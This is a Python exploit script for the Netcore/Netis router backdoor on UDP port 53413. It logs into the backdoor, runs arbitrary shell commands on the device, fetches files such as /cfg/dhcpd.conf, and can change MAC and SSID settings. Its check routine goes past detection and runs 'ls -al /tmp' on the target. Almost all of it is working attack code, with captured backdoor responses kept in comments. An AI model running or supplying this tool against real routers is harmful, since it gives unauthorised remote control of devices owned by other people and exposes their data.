179 lines
No EOL
4.5 KiB
Python
Executable file
179 lines
No EOL
4.5 KiB
Python
Executable file
#!/usr/bin/python
|
|
# -*- coding: utf8 -*-
|
|
|
|
# NETCORE / NETDIS UDP 53413 BACKDOOR
|
|
# https://netisscan.shadowserver.org/
|
|
# http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/
|
|
# https://www.seebug.org/vuldb/ssvid-90227
|
|
|
|
import socket
|
|
import struct
|
|
import logging
|
|
|
|
|
|
logging.basicConfig(level=logging.INFO, format="%(message)16s")
|
|
|
|
|
|
def create_udp_socket(timeout=10):
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
sock.settimeout(timeout)
|
|
|
|
return sock
|
|
|
|
|
|
def send_netcore_request(sock, host, port, data):
|
|
HEAD = "\x00" * 8
|
|
data = HEAD + data
|
|
sock.sendto(data, (host, port))
|
|
|
|
|
|
def recv_netcore_response(sock, buffsize=512):
|
|
try:
|
|
resp = None
|
|
addr = None
|
|
resp, addr = sock.recvfrom(buffsize)
|
|
except Exception as err:
|
|
logging.debug('[-] %s' % err)
|
|
finally:
|
|
return resp, addr
|
|
|
|
|
|
def do_mptlogin(sock, host, port):
|
|
"""
|
|
login netcore backdoor
|
|
"""
|
|
|
|
netcore_response = []
|
|
netcore_commands = ['netcore', '?']
|
|
for command in netcore_commands:
|
|
send_netcore_request(sock, host, port, command)
|
|
resp, addr = recv_netcore_response(sock)
|
|
|
|
if resp and resp not in netcore_response:
|
|
netcore_response.append(resp)
|
|
|
|
response_string = ",".join(netcore_response)
|
|
if len(netcore_response) >= 1 and ('\x00\x00\x00\x05' in response_string):
|
|
return (True, netcore_response)
|
|
|
|
return (False, netcore_response)
|
|
|
|
# ['\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00Login successed!\r\n',
|
|
# '\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x7f']
|
|
|
|
# ['\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x7f',
|
|
# '\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x01\x00'
|
|
# 'IGD MPT Interface daemon 1.0\x00']
|
|
|
|
# ['\x00\x00\x00\x06\x00\x01\x00\x00\xff\xff\xff\xffapmib_init fail!\r\n']
|
|
|
|
# ['\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00']
|
|
# sh: netcore: not found
|
|
# sh: /etc/services: Permission denied
|
|
|
|
# ['\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00']
|
|
|
|
# First Login : 'AA\x00\x05ABAA\x00\x00\x00\x00Login successed!\r\n'
|
|
# Second Login : IGD MPT Interface daemon 1.0
|
|
|
|
|
|
def do_mptfun(sock, host, port, cmdstring):
|
|
"""
|
|
Usage: $Help
|
|
Usage: $WriteMac <macaddr> <lan|wan|wlan1|wlan2|wlan3|wlan4>
|
|
Usage: $ReadMac <lan|wan|wlan1|wlan2|wlan3|wlan4>[<str|STR>[separator]|bin]
|
|
Usage: $WriteRegion <region> <wlan1|wlan3>
|
|
Usage: $ReadRegion <wlan1|wlan3>
|
|
Usage: $WriteSSID <SSID> <wlan1|wlan2|wlan3|wlan4>
|
|
Usage: $ReadSSID <wlan1|wlan2|wlan3|wlan4>
|
|
|
|
DESCRIPTION:
|
|
wlan1:2.4G main AP
|
|
wlan2:2.4G Multiple AP
|
|
wlan3:5G Main AP
|
|
wlan4:5G Multiple AP
|
|
region:the abbreviation of the country,Must be capitalized.Like US,HK,JP
|
|
"""
|
|
|
|
send_netcore_request(sock, host, port, cmdstring)
|
|
resp, addr = recv_netcore_response(sock)
|
|
|
|
if resp:
|
|
return (True, resp)
|
|
|
|
return (False, resp)
|
|
|
|
|
|
do_syscmd = do_mptfun
|
|
|
|
|
|
def do_getfile(sock, host, port, filename):
|
|
buffsize = 0x408 # buff size to read
|
|
datasize = 0x408 # data size from socket
|
|
|
|
contents = []
|
|
|
|
u1, u2, u3, u4 = 0, 1, 0, 0
|
|
|
|
HEAD = struct.pack('>H', u1)
|
|
HEAD += struct.pack('>H', u2)
|
|
HEAD += struct.pack('>H', u3)
|
|
HEAD += struct.pack('>H', u4)
|
|
|
|
data = HEAD + filename
|
|
sock.sendto(data, (host, port))
|
|
|
|
while buffsize == datasize:
|
|
data, addr = recv_netcore_response(sock, buffsize=buffsize)
|
|
|
|
if not data:
|
|
break
|
|
|
|
datasize = len(data)
|
|
|
|
u1, u2, u3, u4 = struct.unpack('>HHHH', data[:8])
|
|
contents.append(data[8:])
|
|
|
|
u2 = 5
|
|
|
|
HEAD = struct.pack('>H', u1)
|
|
HEAD += struct.pack('>H', u2)
|
|
HEAD += struct.pack('>H', u3)
|
|
HEAD += struct.pack('>H', u4)
|
|
sock.sendto(HEAD, (host, port))
|
|
|
|
data = "".join(contents)
|
|
if contents:
|
|
return True, data
|
|
|
|
return False, data
|
|
|
|
|
|
def do_putfile():
|
|
pass
|
|
|
|
|
|
def check(host, port=53413):
|
|
sock = create_udp_socket(timeout=8)
|
|
is_login, resp = do_mptlogin(sock, host, port)
|
|
print(is_login, resp)
|
|
if is_login:
|
|
print("[+] %s:%s - \033[32mvulnerable\033[m" % (host, port))
|
|
|
|
# bool_ret, resp = do_mptfun(sock, host, port, '$help')
|
|
# print(resp)
|
|
|
|
# bool_ret, resp = do_getfile(sock, host, port, '/cfg/dhcpd.conf')
|
|
# print(resp)
|
|
|
|
bool_ret, resp = do_syscmd(sock, host, port, 'ls -al /tmp')
|
|
|
|
sock.close()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
import sys
|
|
if len(sys.argv) != 2:
|
|
print("[*] Usage: {} <target-netdis-ip>".format(sys.argv[0]))
|
|
else:
|
|
check(sys.argv[1]) |